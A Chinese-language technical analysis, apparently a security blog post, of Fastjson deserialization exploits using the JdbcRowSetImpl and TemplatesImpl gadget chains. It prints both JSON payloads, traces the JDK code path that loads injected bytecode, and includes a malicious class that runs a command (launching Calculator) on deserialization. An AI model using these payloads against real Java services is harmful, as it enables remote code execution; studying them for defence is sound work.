利用JdbcRowSetImpl的payload如下:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:3456/Object",
"autoCommit":true
}
在触发反序列化时会调用 JdbcRowSetImpl 类的 setAutoCommit 函数
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
继续跟进 connect 函数
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到当conn为null时会发起JNDI查询从而加载我们的恶意类。
payload如下:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64编码后的继承于AbstractTranslet类的子类的class文件"],
'_name':'a.b',
'_tfactory':{ },
"_outputProperties":{ },
"_version":"1.0",
"allowedProtocols":"all"
}
由于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类的 outputProperties 属性类型为 Properties 因此在反序列化过程中会调用该类的 getOutputProperties 方法。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
继续跟进 newTransformer 方法
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//this line
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
在 newTransformer 方法中需要实例化一个TransformerImpl类的对象,跟进 getTransletInstance() 方法
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
跟进 defineTransletClasses 方法中
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
//...
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
可以看到该方法将会遍历我们传入的 _bytecodes 数组,执行 loader.defineClass 方法,而 TransletClassLoader 类的defineClass方法如下:
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
可见直接实现于 ClassLoader 类的 defineClass 方法。查询jdk1.8的文档
可以看到该方法会将我们传入的编码后的class文件加载入jvm。
而我们的恶意类继承于 ABSTRACT_TRANSLET ,即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,因此便会设置 _transletIndex 为0。再回到我们的 getTransletInstance 方法中,
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
生成了一个我们的恶意类的对象实例,因此导致了我们的恶意类中的代码最后被执行。
这里我们使用的恶意类如下:
package JavaUnser;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class ShellExec extends AbstractTranslet{
public ShellExec() throws IOException{
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
//ShellExec t = new ShellExec();
}
}